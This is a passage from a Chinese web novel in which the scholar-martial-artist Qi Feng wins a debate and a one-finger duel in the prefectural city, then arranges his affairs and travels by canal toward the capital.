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br>齐枫作为新科解元、名动江南的才子,自然也在受邀之列。
文会设在学宫内的“明伦堂”,环境清雅,与会者皆是宽袍博带的文人,气氛看似风雅和谐,实则暗藏机锋。
齐枫本无意参加这种聚会,但架不住周子陵和徐远的怂恿,加上赵明德也希望他能在入京前多与士林交流,便勉强前来。
他依旧是一身简单的青衫,在一众华服文人中显得格外朴素,却也格外醒目。
文会开始,无非是饮酒赋诗,品评文章。
起初倒也正常,众人互相唱和,气氛融洽。
但酒过三巡之后,一些不和谐的声音便开始出现了。
一个留着山羊胡、面色枯黄的老学究,乃是府城有名的“理学大家”,姓孙,名守拙。
他端着酒杯,踱步到齐枫面前,故作姿态地打量了他几眼,慢悠悠地道:“齐解元年轻有为,诗才敏捷,老夫早有耳闻。尤其是那首《水调歌头》,更是传唱大江南北,连京城都为之震动啊。”
他话锋一转,语气带着一丝讥诮:“不过,老夫听闻,齐解元似乎于经义一道,涉猎不深?尤其对朱子之学,颇有微词?须知,科举取士,首重经义,诗词不过是末技小道。齐解元若想在这仕途上走得更远,还需在经义上下功夫,恪守圣人之道,方是正理啊。”
这话看似劝勉,实则是在指责齐枫不学无术,只会写些花哨诗词,根基浅薄,不懂真正的圣贤学问。
立刻便有几人附和:
“孙老所言极是!经义乃根本,诗词不过是锦上添花。”
“齐解元诗词虽佳,但若不通经义,终究是空中楼阁,难以持久。”
“是啊,我辈读书人,当以圣贤之道为立身之本,岂能沉溺于诗词小道?”
这些人显然是有备而来,一唱一和,试图在齐枫最擅长的领域之外,找一个突破口来打击他。
周子陵和徐远气得脸色发青,却又不好在这种场合发作。
第三百五十章 为万世开太平
其他一些真心佩服齐枫的年轻士子,也都面露愤慨,却慑于孙守拙等人的名望,不敢轻易出声反驳。
所有人的目光都聚焦在齐枫身上,想看他如何应对。
齐枫放下手中的酒杯,神色依旧平静,他甚至没有看孙守拙,而是目光扫过在场众人,缓缓开口,声音清朗。
“孙先生此言,请恕齐某不敢苟同。”
他一句话,便让在场所有人都竖起了耳朵。
“敢问孙先生,何为圣人之道?”齐枫看向孙守拙,目光清澈而锐利,“是寻章摘句,皓首穷经,将圣人之言奉为金科玉律,不敢越雷池半步?还是领会圣人之精神,明辨是非,经世致用,为生民立命,为万世开太平?”
孙守拙被问得一怔,下意识地道:“自然是……二者兼备。”
“好一个二者兼备。”齐枫微微一笑,那笑容却带着一丝嘲讽,“那请问孙先生,您皓首穷经数十年,可曾为这府城百姓做过一件实事?可曾为这天下苍生解决过一桩困难?您所恪守的圣人之道,除了用来指责他人、标榜自身清高之外,还有何用处?”
“你!”孙守拙气得胡子直抖,指着齐枫,“黄口小儿,安敢如此无礼!圣人之学,博大精深,岂是你能妄加评论的!”
“齐某不敢妄评圣学。”齐枫语气转冷,“齐某只是认为,学问之道,贵在实用,贵在济世。若不能解决实际问题,不能造福百姓,纵然将圣人之言倒背如流,也不过是纸上谈兵,于国于民,有何益处?”
他顿了顿,声音提高了几分,令人振聋发聩:“朱子之学,自有其精深之处,齐某亦深为敬佩。但学问之道,岂能定于一尊?兼容并包,取其精华,去其糟粕,方是治学正途!若只因朱子曾言,便不敢质疑,不敢创新,那我辈读书人,与学舌鹦鹉何异?与泥塑木雕何异?!”
这一番话,如同惊雷,炸响在明伦堂内!将孙守拙等人那套僵化保守的论调,批驳得体无完肤!
不少年轻士子听得热血沸腾,只觉得齐枫说出了他们心中所想却不敢说的话!
是啊,读书是为了明理,是为了用世,不是为了变成只会背诵经书的木头人!
“说得好!”一个年轻士子忍不住大声喝彩。
“齐解元高见!”
“学问贵在经世致用!”
越来越多的人出声支持齐枫。
孙守拙和他那几个同伙,脸色一阵青一阵白,被驳得哑口无言,恨不得找个地缝钻进去。
他们本想借经义打压齐枫,却没想到反被对方以其人之道还治其人之身,用更宏大的格局和更犀利的言辞,将他们批得颜面扫地!
齐枫不再理会面如死灰的孙守拙等人,他端起酒杯,对着在场所有士子,朗声道:“齐某以为,读书人当有胸怀天下之气魄,当有明辨是非之智慧,当有经世致用之才能!愿与诸位共勉,他日若能身居庙堂,当以天下苍生为念,以社稷安危为重,方不负平生所学!”
“说得好!”
“愿与齐解元共勉!”
众人纷纷举杯响应,气氛瞬间被推向了高潮。
经此一役,齐枫不仅在诗词上,更在学问见识和气度格局上,彻底折服了府城的文人士子,其“江南文胆”之名,不胫而走。
而那些试图打压他的所谓“清流”,则彻底沦为了笑柄,再也无人提及。
文坛论战的风波刚刚平息,另一场风波又接踵而至。
这一次,来自武行。
府城最大的武馆“震远武馆”的馆主,雷震天,是个火爆脾气、极其好面子的人。
他门下弟子众多,在府城武行中颇有势力。
齐枫在府城名声鹊起,尤其是其高深莫测的武功,更是被传得神乎其神,这让一向自诩为府城武道第一人的雷震天感到十分不爽。
在他看来,齐枫不过是个文人,侥幸得了些机缘,学了几手功夫,怎么可能比得上他这种浸淫武道数十年的真正高手?那些传闻,多半是以讹传讹,或者就是齐枫自己故意放出来唬人的!
再加上他的几个徒弟在外面听了些闲言碎语,说什么“齐公子武功盖世,恐怕雷馆主也不是对手”之类的话,更是激得雷震天火冒三丈。
他决定,要亲自去会一会这个齐枫,当众拆穿他的“假面具”,挽回震远武馆和他雷震天的颜面!
于是,在一个阳光明媚的下午,雷震天带着武馆内十几个身手最好的徒弟,浩浩荡荡地来到了齐枫的府邸门前。
“齐枫!给老子滚出来!”雷震天声若洪钟,站在府门外大吼,引得街坊四邻纷纷侧目。
府门打开,管家带着几个护卫走了出来。
管家认得雷震天,知道此人不好惹,连忙赔笑道:“雷馆主,您这是……有何贵干?我家公子正在会客,不便见客,您看……”
“会客?我看是躲起来不敢见人吧!”雷震天的一个大徒弟嚣张地叫道,“赶紧让齐枫出来!我们师父要跟他切磋切磋,看看他是不是像传说中那么厉害!”
“对!让他出来!”
“别当缩头乌龟!”
其他徒弟也跟着起哄,气势汹汹。
管家面露难色,正要再劝,齐枫的声音从门内传来:“雷馆主大驾光临,有何指教?”
只见齐枫缓步从府内走出,身边只跟着富贵一人。
他神色平静,看着门外这群来者不善的武馆众人。
雷震天上下打量着齐枫,见他年纪轻轻,身材也不算魁梧,身上更没有练武之人那种彪悍之气,心中更是轻视,冷笑道:“你就是齐枫?听说你武功很高,连幽冥教的妖人都不是你的对手?老子不信!今天特地来领教领教,看看你是不是真有那么神!”
齐枫皱了皱眉:“齐某与雷馆主素无恩怨,为何要动手?”
“少废话!”雷震天不耐烦地一摆手,“武林中人,切磋武艺还需要理由吗?你就说敢不敢接吧!要是怕了,就当众承认你那些事迹都是吹出来的,以后夹着尾巴做人,老子或许可以放你一马!”
第三百五十一章 一指败敌
他这话已是极其无礼,充满了挑衅。
周围的百姓越聚越多,都兴奋地看着这场热闹。
震远武馆在府城名气很大,雷震天更是有名的火爆脾气,功夫也确实硬朗。
而齐枫虽然传闻武功高强,但毕竟年轻,很多人也想亲眼看看他到底有多厉害。
周子陵和徐远等人闻讯也赶了过来,见状气得不行,周子陵撸起袖子就要上前理论,被徐远死死拉住。
齐枫看着气焰嚣张的雷震天,以及他身后那群摩拳擦掌的徒弟,知道今日之事难以善了。
他若退缩,不仅个人声誉受损,恐怕日后什么阿猫阿狗都敢上门挑衅了。
他轻轻叹了口气,似乎有些无奈:“既然雷馆主执意要切磋,那齐某只好奉陪了。不知雷馆主想如何比试?”
雷震天见齐枫应战,心中一喜,大声道:“简单!咱们就比拳脚!三招定胜负!你要是能接住老子三招不倒,就算你赢!老子扭头就走,以后见了你绕道走!要是接不住……嘿嘿,那就别怪老子手下无情了!”
他自恃内力深厚,拳法刚猛,打算三招之内就解决齐枫,好好羞辱他一番。
“可以。”齐枫点了点头,走到府门前的空地上,随意一站,“雷馆主,请吧。”
见他如此托大,连个起手式都不摆,雷震天更是怒从心头起,觉得受到了轻视。
他暴喝一声:“看招!”
话音未落,他整个人如同猛虎出闸,带着一股恶风,一拳直捣齐枫面门!这一拳势大力沉,蕴含着数十年的内力,拳风呼啸,连周围的人都感觉到一股压迫感!
“师父威武!”
“打死他!”
震远武馆的徒弟们纷纷叫好。
周子陵等人则紧张地屏住了呼吸。
面对这凶悍无比的一拳,齐枫却依旧站在原地,不闪不避,甚至连眼睛都没有眨一下。
直到那拳头即将及体的瞬间,他才看似随意地、轻飘飘地抬起了右手,伸出食指,对着那砂钵大的拳头,轻轻一点。
在众人看来,这简直是螳臂当车!用一根手指去挡雷震天的全力一拳?这不是找死吗?
雷震天脸上也露出了残忍的笑容,仿佛已经看到了齐枫手指断裂、吐血倒地的惨状。
下一刻,让所有人目瞪口呆的事情发生了!
齐枫那纤细的食指,与雷震天那蕴含着恐怖力量的拳头碰撞在一起,没有发出惊天动地的巨响,只有一声轻微的、如同气泡破裂的“噗”声。
然后,雷震天那前冲的凶猛势头,戛然而止!
他脸上的狞笑瞬间凝固,取而代之的是极度的震惊和痛苦!
他感觉自己的拳头,仿佛不是打在血肉之躯上,而是打在了一座坚不可摧、并且蕴含着反震之力的钢铁大山上!
“咔嚓!”一声细微的骨裂声响起。
“啊!”雷震天发出一声凄厉的惨叫,整个人如同被高速奔跑的蛮牛撞到,以比来时更快的速度倒飞出去,狠狠地撞在街对面的一堵围墙上。
将那围墙都撞得裂开几道缝隙,然后才像一滩烂泥般滑落在地,抱着扭曲变形、鲜血淋漓的右拳,痛苦地呻吟着,再也爬不起来。
静!
死一般的寂静!
所有人都像是被施了定身法,目瞪口呆地看着这一幕,大脑一片空白。
一招!仅仅一招!不,甚至不能算一招,只是轻描淡写的一指!府城有名的武道高手雷震天,就这么败了?败得如此彻底,如此毫无悬念?!
这……这怎么可能?!
震远武馆的那些徒弟,脸上的兴奋和嚣张早已消失不见,只剩下无边的恐惧和难以置信,看着齐枫,如同看着一个怪物!
周子陵和徐远等人也傻眼了,虽然他们知道齐枫厉害,但也没想到厉害到这种程度!
齐枫缓缓收回手指,仿佛只是做了一件微不足道的小事。
他目光扫过那些吓傻了的武馆徒弟,淡淡道:“抬你们师父回去治伤吧。以后,莫要再来生事。”
那些武馆徒弟如梦初醒,连忙慌慌张张地抬起昏死过去的雷震天,如同丧家之犬般,头也不回地跑了,连句狠话都不敢留。
围观的百姓这才反应过来,爆发出震天的惊呼和议论声!
“我的天!一指!就一指啊!”
“雷馆主竟然连一招都接不住?!”
“齐公子……齐公子真是神人啊!”
“太厉害了!从今往后,府城武道第一人,非齐公子莫属!”
好!
打败雷震天,只不过是一个微不足道的小插曲。
京城之行日益临近,齐枫深知要想在京城立足,实现更大的图谋,仅凭个人武力与才智是远远不够的,必须有坚实的财力、可靠的人脉和畅通的信息网络作为支撑。
他开始更加系统地为入京做准备,首要任务便是梳理和巩固在江南的产业根基。
这一日,齐枫将南宫玥、柳若雪、周子陵、徐远、陈玉堂等核心人员召集到书房,召开了一次重要的会议。
甚至连久未参与具体事务的小蝶,也被叫了过来。
小蝶如今主要负责一些内部人事和琐碎事务的管理,虽然不似南宫玥和柳若雪那般处于风口浪尖,但也是齐枫信任的身边人。
书房内,气氛严肃。
齐枫坐在主位,面前摊开着几张写满字迹的纸张。
"年后我即将入京,归期未定。"齐枫开门见山,目光扫过众人,"府城乃至江南的基业,是我们立足的根本,绝不能有失。今日召集大家,便是要明确我走之后的各项安排。"
众人神色一凛,知道这是关乎未来格局的重要时刻。
"首先,是锦绣阁。"齐枫看向南宫玥,"玥儿,锦绣阁是我们的核心产业,也是重要的资金来源和情报节点。我走之后,由你全权负责。柳大家从旁协助,主要负责与各地伶人、乐坊的关系维护,以及通过她们收集信息。"
南宫玥郑重点头:"齐郎放心,玥儿必当竭尽全力,守住这份基业。"
她如今已能独当一面,眉宇间充满了自信。
第三百五十二章 入京前夕
柳若雪也轻轻颔首:"若雪明白。江南伶人圈子关系盘根错节,是打探消息的好渠道,我会善加利用。"
齐枫又看向周子陵、徐远和陈玉堂:"子陵,你性子直爽,负责与漕帮、各码头力夫等三教九流的联络,维持我们在底层的影响力,同时保障货物运输畅通。”
“徐远,你心思缜密,协助玥儿处理锦绣阁日常运营,尤其是账目和与各大家族的关系。玉堂,你陈家根基在府城,由你出面,协调与本地士绅、官员的往来,维持明面上的和谐。"
三人齐声应道:"明白!齐兄放心!"
这样的分工,充分考虑了个人的能力和特点,确保齐枫离开后,整个体系依然能够高效运转。
"其次,是青田县的根基。"齐枫看向小蝶,"小蝶。"
小蝶正在认真听着,没想到齐枫会突然点她的名,愣了一下,连忙站起身:"少爷,小蝶在。"
"青田县的田庄、粮种改良事宜,一直由吴胖子打理,你定期与他联系,了解情况,确保那边不出乱子。那是我们的退路之一,也是重要的粮食来源,不容有失。"齐枫吩咐道。
青田县虽然不大,但那是他的起家之地,意义非凡。
小蝶没想到少爷将如此重要的事情交给自己,心中既激动又有些惶恐,但看到齐枫信任的目光,她用力点头:"是,少爷!小蝶一定办好!"
齐枫点了点头,继续道:"除了现有的产业,我们还需要开辟新的财源和情报渠道。京城开销巨大,仅靠锦绣阁,恐难支撑。我意,由玉堂牵头,利用陈家的人脉,尝试涉足药材、茶叶等利润丰厚的行当,但要低调进行,避免树大招风。"
陈玉堂沉吟道:"药材和茶叶确实利润可观,而且往来客商众多,便于收集各方信息。只是这两行水也很深,需要仔细筹划。"
"无妨,循序渐进即可。"齐枫道,"另外,富贵。"
一直沉默如同影子般的富贵上前一步:"少爷。"
"你挑选一批机灵可靠、身手不错的人,组建一支暗卫。一部分留在府城,负责保护玥儿、清秋她们以及重要产业的安全,另一部分,分批潜入京城,提前打探消息,建立落脚点。所需资金,直接向玥儿支取。"
"是!"富贵领命,眼中闪过一丝精光。
组建暗卫,意味着少爷开始构建属于自己的武力核心了。
这一番安排,条理清晰,考虑周全,将人事、财政、情报、安保等方方面面都考虑了进去。
众人听着,心中既感到责任重大,也对齐枫的深谋远虑佩服不已。
"齐郎,"南宫玥有些担忧地问道,"你孤身入京,身边总需要人照应。不如让富贵带着暗卫跟你一起去?府城这边,有周大哥他们,应该无碍。"
齐枫摇了摇头:"京城局势不明,带太多人手反而扎眼,容易引起不必要的注意。富贵和部分暗卫先行潜入,暗中活动即可。明面上,我带两个机灵的小厮足矣。"
他顿了顿,脸色变得凝重:"我走之后,府城一切事务,由玥儿统筹决断。若遇重大难决之事,可飞鸽传书与我。记住,稳定压倒一切。在我从京城传来明确消息之前,切勿主动扩张,亦不可与林家、盐商等势力发生正面冲突,一切以守成为主。"
"我们明白。"众人齐声应道。
会议持续了近两个时辰,将各项细节都逐一敲定。
当众人离开书房时,都感觉肩上的担子沉甸甸的,但也充满了干劲。
他们知道,齐枫此去京城,是龙归大海,必将掀起更大的风云。
而他们留守后方,必须为他守住这片基业,成为他最坚实的后盾。
齐枫独自坐在书房内,看着窗外渐渐暗下来的天色,目光深邃。
产业和人手的安排只是第一步,接下来,他还需要为入京准备一些特别的"礼物",以及妥善安置好最让他牵挂的人。
核心会议之后,齐枫便开始着手进行一些更为隐秘和特殊的准备。
京城藏龙卧虎,仅凭明面上的实力,他确实无所畏惧,但他需要一些出其不意的手段,用来交给身边的人。
首先便是药物。
齐枫医武通神,对药理、毒理有着远超这个时代的理解。
他亲自去了一趟府城最大的药铺"回春堂",采购了大量药材,其中不乏一些珍稀甚至带有微毒性的品类。
回春堂的掌柜见齐枫亲自前来,又买了这么多不同寻常的药材,虽然心中疑惑,但也不敢多问,只是小心翼翼地伺候着。
采购回来的药材堆满了齐枫特意腾出来的一个僻静厢房。他闭门谢客,开始利用这些药材,配制各种药物。
有疗伤圣药"九花玉露丸",此药对内伤外伤皆有奇效,能在关键时刻保住性命,有解毒灵丹"清灵散",可解百毒,至少能应对大部分常见的毒药暗算。
有激发潜力的"爆元丹",服用后能在短时间内提升功力,但副作用不小,非到万不得已不能使用。
还有一些功效各异的药粉,如能让人短时间内浑身无力、内力凝滞的"酥筋散",能致人产生幻觉的"迷魂香",以及无色无味、难以察觉的剧毒"七日断魂散"等等。
这些药物的配方,大多来自他前世的记忆,经过他根据此世药材特性的改良,效果非凡。
配制过程极其复杂,对火候、分量、顺序要求极为苛刻,稍有差池便会前功尽弃,甚至可能炼制出毒药。
也唯有齐枫这等拥有强大精神力和精准控制力的人,才能独立完成。
他花了整整五天时间,不眠不休,终于将所需的各类药物配制齐全,分门别类地装在小巧的玉瓶或瓷罐中,贴上标签,小心收好,然后交给众人,顺便自己留了一小些。
除了药物,齐枫还开始重新淬炼自己的兵器,那柄得自袁家、后来被他初步用天劫之力淬炼过的长剑。
第三百五十三章 我一定回来
齐枫寻来一处僻静的锻造工坊,再次引动体内那丝微弱却至阳至刚的天劫之力,融入锻造之火中,反复锤炼剑身。
这一次,他不仅提升了剑的锋锐和坚韧程度,更尝试在剑身内部铭刻下几个微小,引动和放大天劫之力的符文。
这个过程比配药更加凶险和耗费心神。
天劫之力霸道无比,稍有不慎就可能反噬自身,或者直接将长剑毁掉。
齐枫全神贯注,精神力高度集中,额头渗出细密的汗珠。
经过三天三夜的锤炼,长剑终于再次成型。
剑身依旧古朴,但隐隐流动着一层淡金色的光泽,散发出的气息更加内敛,却也更加危险。
齐枫能感觉到,剑身内部的符文与自己的天劫之力产生了一丝微妙的联系,一旦催动,威力必将惊人。
他将此剑命名为“惊鸿”,取“翩若惊鸿”之意,既是形容剑法,也暗喻此剑不出则已,一出则石破天惊。
在准备这些“硬件”的同时,齐枫也没有忽略“软件”的提升。
他利用空闲时间,进一步梳理和熟悉脑海中的前世记忆,尤其是关于朝堂格局、世家关系、宫廷秘闻以及各种奇门异术的知识。
这些信息庞杂而琐碎,但在关键时刻,或许能起到意想不到的作用。
他还特意去拜访了漕帮帮主杜振山和学宫苏文瑾。
与杜振山再次确认了合作细节,并通过漕帮的渠道,了解了一些京城地面上的情况和规矩。
而与苏文瑾的交谈则更加深入,苏文瑾虽然不涉朝政,但对京城士林清流、文官体系乃至皇室的一些动态都有独到的见解,给了齐枫不少有价值的建议。
这一日,齐枫正在书房整理苏文瑾赠送的一些关于京城世家谱系和官场潜规则的笔记,小蝶端着茶水走了进来。
“少爷,您都忙了好几天了,喝点参茶歇歇吧。”小蝶将茶盏轻轻放在书桌上,看着齐枫略显疲惫的侧脸,眼中满是心疼。
齐枫抬起头,看到是小蝶,笑了笑:“放那儿吧,我一会儿喝。”
小蝶却没有立刻离开,她犹豫了一下,低声问道:“少爷,您去京城,真的不能带小蝶一起去吗?你说过要带小蝶一起去的,小蝶可以照顾您的起居……”
齐枫看着这个从小跟着自己的丫头,如今也出落得亭亭玉立,行事越发稳重。
他温和地说道:“小蝶,今时不同往日,这段时间发生太多事了,之前我还没有那么显眼,如今,怕是一堆人的目光都在我身上,京城不比府城,情况复杂,危险也多。你留在府城,帮我照顾好青禾,管理好青田县那边的事务,就是对我最大的帮助了。”
他顿了顿:“府城这个家,交给玥儿掌管对外,内部的一些事情,还需要你多费心。你心思细,又是我身边最久的老人,交给你,我放心。”
听到少爷如此信任自己,将“家”交给自己照看,小蝶心中涌起一股暖流和责任感,她用力点头:“少爷放心!小蝶一定把家里打理得妥妥当当,等您回来!”
“嗯。”齐枫点了点头,想了想,又从抽屉里取出一个小巧的锦盒,递给小蝶,“这个你拿着。”
小蝶疑惑地接过,打开一看,里面是一枚做工精致、看似普通的银簪。“少爷,这是?”
“这簪子我请人特殊处理过,里面是中空的,藏了三根淬了麻药的细针。簪尾可以旋开。”齐枫解释道,“你贴身带着,万一遇到紧急情况,可以用来防身。记住,非到万不得已,不要使用。”
小蝶拿着这枚看似普通却暗藏玄机的银簪,心中又是感动又是酸涩。
少爷连这些都为她想到了,她紧紧攥着簪子,眼圈微红:“谢谢少爷,小蝶,小蝶会保护好自己的,也会保护好青禾姐姐和这个家!”
看着小蝶坚定的眼神,齐枫欣慰地笑了笑。
有了这些周全的准备,以及这些值得信赖的伙伴,他对即将到来的京城之行,更多了几分把握。
各项入京的准备都在有条不紊地进行,但齐枫心中最放心不下的,还是身怀六甲的楚清秋。
随着孕期推移,楚清秋的腹部隆起愈发明显,行动也越发不便。
虽然锦娘无微不至地照顾着,南宫玥和柳若雪也时常陪伴,府中上下更是将她视为重点保护对象,但齐枫知道,她内心的压力和挣扎,远非旁人能够完全体会。
亡国女帝的身份,复国的重任,未卜的前路,以及与自己这段复杂纠葛的关系,都像一块块巨石,压在她的心头。
尤其是在自己即将离开,前往那个对她而言充满危险和未知的京城时,她的不安定然更重。
这一晚,月色如水。
齐枫处理完手头事务,来到楚清秋居住的院落。
院内静悄悄的,只有角落里几株晚开的腊梅散发着幽香。
楚清秋房间的灯还亮着,窗纸上映出她独自凭窗的身影,显得有些孤寂。
齐枫轻轻推门进去。
楚清秋正站在窗前,望着窗外的月色出神,听到动静,缓缓转过身,这一次,她没有用遮盖的容貌,而是真颜。
月光洒在她清丽绝伦却带着一丝憔悴的脸上,有种惊心动魄的美。
“这么晚了,还没休息?”齐枫走到她身边,很自然地揽住她的腰,手掌轻轻覆在她隆起的小腹上。
楚清秋没有抗拒,将身体微微靠向他,汲取着他身上令人安心的温暖气息。
她沉默了片刻,才低声道:“睡不着。”
“在担心京城的事?”齐枫轻声问道。
楚清秋没有直接回答,而是反问道:“你打算何时动身?”
“过了二月二,龙抬头之后吧。”齐枫道,“还有些琐事需要处理。”
又是一阵沉默。
“齐枫,”楚清秋抬起头,月光下,她的眼眸清澈如同寒潭,带着一丝不易察觉的脆弱,“你此去京城,凶险难料。我,我和孩子……”
她的话没有说完,但齐枫明白她的担忧。
第三百五十四章 二月二龙抬头
她是怕自己一旦在京城出事,她们母子将失去依靠,甚至可能暴露身份,引来杀身之祸。
齐枫收紧手臂,将她更紧地拥入怀中,下巴轻轻抵着她的发顶:“清秋,相信我。”
他顿了顿,继续说道:“我答应过你,会护你周全,会帮你复国。这句话,永远有效。京城虽险,但还留不住我齐枫。我会在那里站稳脚跟,为你,也为我们的孩子,打下一片天地。”
“至于你和孩子,”齐枫低下头,看着她的眼睛,“我已经安排好了。府城这边,有玥儿、若雪、子陵他们,还有我父母照应,安全无虞。漕帮杜老爷子也都打点过,他们会暗中照拂。”
“此外,我还留了一支暗卫,由富贵统领,负责保护你们的安全。除非朝廷大军压境,否则无人能动你们分毫。”
他将自己的安排一一告知,事无巨细,只为让她安心。
楚清秋听着他周密的安排,感受着他话语中的坚定与担当,冰冷的心湖仿佛被投入了一块暖石,漾开层层涟漪。
她不得不承认,这个男人,给了她前所未有的安全感。
“复国之事,急不得。”齐枫又道,“霍将军在北境能站稳脚跟已是万幸,眼下需以稳为主。你安心在府城待产,将身体养好。京城那边,我会见机行事,设法牵制朝廷精力,为北境减轻压力。待时机成熟,我自有安排。”
他没有明说具体计划,但楚清秋能感觉到,他心中已有沟壑。
“我,知道了。”楚清秋将脸颊贴在他坚实的胸膛上,听着他沉稳的心跳,一直紧绷的心弦终于稍稍放松。
她轻声问道:“你会回来吗?”
“会。”齐枫回答得毫不犹豫,“待京城事了,无论成败,我都会回来。看着我们的孩子出生,看着他长大。”
这是一个承诺,一个男人的承诺。
楚清秋闭上眼睛,感受着这一刻的宁静与温暖。
国仇家恨,复国大业,似乎都暂时远去。
此刻,她只是一个即将成为母亲的普通女子,依偎在能给她安全和未来的男人怀中。
良久,她轻轻“嗯”了一声,声音几不可闻,却带着一种全然的信任与依托。
月光如水,静静流淌,将相拥的两人身影拉长,仿佛要定格成永恒。
对于未来,齐枫已然做好了万全的准备。
产业、人手、药物、兵器、情报,乃至最牵挂的人,都已安排妥当。
此刻的他,心无挂碍,只待时机一到,便可龙归大海,直入京华,去会一会那天下的英雄,搅动那朝堂的风云!
……
二月二,龙抬头,宜出行。
春寒料峭,府城码头上却是一片热闹景象。
齐枫入京的日子定在了今天,前来送行的人络绎不绝。
知府赵明德、同卢正淳带着府衙一众官员亲自到场,给足了齐枫面子。
漕帮帮主杜振山等府城头面人物也纷纷前来。
周子陵、徐远、陈玉堂等兄弟更是早早赶到,帮忙打点行装。
齐震天和锦娘站在最前面,看着即将远行的儿子,眼中既有骄傲,也有不舍。
锦娘更是眼圈泛红,不住地拉着齐枫的手叮嘱:“枫儿,京城不比家里,凡事要小心,要照顾好自己,按时吃饭,天冷加衣……”
“娘,您放心吧,儿子都记下了。”齐枫耐心地应着,心中暖流涌动。
楚清秋因为身子重,不便到码头送行,留在府中。
南宫玥和柳若雪代表众女前来,南宫玥将一个精心准备的包袱递给齐枫,里面是换洗衣物和一些路上用的银两、干粮。
柳若雪则递上一个香囊,轻声道:“里面是一些安神的药材,京城路远,舟车劳顿,戴着能舒服些。”
小蝶站在一旁,强忍着泪水,将准备好的食盒交给随行的小厮,里面是她亲手做的、齐枫爱吃的几样点心。
“齐兄,一路保重!”
“我们在府城等你凯旋!”
“到了京城,记得来信!”
周子陵等人纷纷上前,与齐枫用力拥抱,气氛热烈中带着一丝伤感。
赵明德上前,拍了拍齐枫的肩膀,语重心长:“齐贤弟,此去京城,天高海阔,正是你大展拳脚之时。陛下特召,乃是莫大机遇,望你把握时机,为国效力,亦不负平生所学!府城这边,有本官在,你无需挂念。”
“多谢大人!齐某定当谨记。”齐枫拱手谢道。
一番辞别之后,齐枫带着两名机灵的小厮。
阿福和阿贵,登上了前往京城的客船。
这艘船是漕帮特意安排的,安全舒适。
船只缓缓离岸,码头上送行的人群渐渐模糊。齐枫站在船头,望着生活了大半年的府城在视野中逐渐远去,心中并无多少离愁别绪,反而充满了对未来的期待与昂扬的斗志。
“京城,我来了。”他心中默念,眼神锐利如刀。
从江南府城到京城,走水路需大半个月时间。
齐枫并未闲着,大部分时间都在船舱内打坐调息,进一步熟悉和掌控体内那丝天劫之力,同时也在脑海中反复推演入京后可能遇到的各种情况。
沿途经过数个繁华州府,客船偶尔会靠岸补给。
齐枫深居简出,并未引起什么注意。
他带的两个小厮阿福和阿贵,都是精挑细选出来的,机灵懂事,将他的起居照顾得妥妥帖帖。
这一日,客船行至徐州地界,停靠在一个名为“清江浦”的大码头补充给养。
清江浦是南北漕运的重要枢纽,商贾云集,龙蛇混杂。
齐枫在船舱内待得闷了,便带着阿福下船,在码头附近的集市上随意逛逛,也算是了解一下北地的风土人情。
集市上人来人往,叫卖声不绝于耳。
北地民风显然比江南彪悍一些,行人大多步履匆匆,神色间带着一丝警惕。
正走着,前方忽然传来一阵喧哗和女子的惊呼声。
只见一个穿着锦袍、面色倨傲的年轻公子,正带着几个豪奴,围住一个卖唱的盲眼老者和一个穿着素净、容貌清秀的少女。
第三百五十五章 入京
那少女怀中抱着一把琵琶,脸上带着惊恐之色。
“小娘子,长得倒挺水灵!跟爷回府,给爷唱曲儿解闷,少不了你的好处!”那锦袍公子淫笑着,伸手就去摸那少女的脸蛋。
“公子请自重!”那少女吓得连连后退,躲到盲眼老者身后。
“爷爷!”少女无助地喊道。
那盲眼老者连忙作揖:“这位公子,小老儿和孙女只是卖唱糊口,求公子高抬贵手……”
“滚开!老东西!”一个豪奴粗暴地推开盲眼老者,老者踉跄几步,差点摔倒。
周围的人群指指点点,却无人敢上前阻拦。显然,这锦袍公子在当地颇有势力。
“光天化日,强抢民女,还有王法吗?”一个清冷的声音响起。
众人循声望去,只见一个身着青衫、气质不凡的年轻公子走了过来,正是齐枫。
那锦袍公子斜眼打量了齐枫一下,见他衣着普通,穿的是寻常青衫,又是外地口音,顿时不屑地嗤笑道:“哪里来的乡下土包子,也敢管本公子的闲事?识相的就赶紧滚开,否则连你一块收拾!”
齐枫神色不变,走到那对祖孙面前,将他们护在身后,目光平静地看着那锦袍公子:“路见不平,自然要管。阁下若现在离开,此事作罢。”
“作罢?哈哈哈!”锦袍公子仿佛听到了天大的笑话,“你算个什么东西?也配跟本公子说这种话?给我打!打断他的腿,让他知道多管闲事的下场!”
几个豪奴狞笑着朝齐枫围了过来。
阿福见状,虽然害怕,但还是鼓起勇气挡在齐枫身前:“你们……你们别乱来!”
齐枫轻轻将阿福拉到身后,面对冲过来的豪奴,甚至没有移动脚步,只是随意地拂了拂衣袖。
一股无形的气劲涌出,那几个凶神恶煞的豪奴如同撞上了一堵无形的墙,纷纷惨叫着倒飞出去,摔在地上哼哼唧唧,爬不起来。
这一幕发生在电光火石之间,周围的人都看傻了!
那锦袍公子脸上的笑容瞬间僵住,眼中闪过一丝惊骇。
他没想到这个看似文弱的年轻人,竟然是个深藏不露的高手!
“你……你到底是什么人?”锦袍公子声音有些发颤。
齐枫懒得跟他废话,淡淡道:“滚。”
只是一个字,却带着一股不容置疑的精神威压,直接冲击在那锦袍公子的心神上。
锦袍公子只觉得脑袋“嗡”的一声,仿佛被重锤击中,吓得魂飞魄散,再也不敢停留,连滚爬爬地带着那些哀嚎的豪奴逃走了,连句狠话都没敢留。
“多谢公子救命之恩!”那卖唱的少女连忙扶着惊魂未定的盲眼老者,向齐枫跪下磕头。
“举手之劳,不必多礼。”齐枫虚扶一下,“此地不宜久留,你们快些离开吧。”
打发走那对祖孙,齐枫在周围百姓敬畏的目光中,带着阿福淡然离去,仿佛只是做了一件微不足道的小事。
他并不知道,这一幕,恰好被码头上一艘华丽官船中,一位凭窗而望、气质高华的年轻女子看在眼中。
那女子看着齐枫离去的背影,美眸中闪过一丝异彩。
“好俊的身手,好正的气度……此人,不凡。”
经历了清江浦的小插曲后,接下来的行程颇为顺利。
客船沿着运河北上,气候逐渐变得干燥寒冷,两岸的景色也从江南的水乡泽国变成了北地的平原沃野。
越靠近京城,河道上的船只越发密集,各式各样的官船、商船、客船穿梭往来,显示出帝国心脏的繁华与忙碌。
齐枫站在船头,已经能够远远望见京城那巍峨雄伟的轮廓。
高大的城墙如同灰色的巨龙盘踞在地平线上,城楼高耸,旌旗招展,一股磅礴的帝都气象扑面而来。
大景王朝的京城,名为“天京”,取“天命所归,京畿重地”之意。
此城历经数朝,多次扩建,规模宏大,分为外城、内城和皇城。
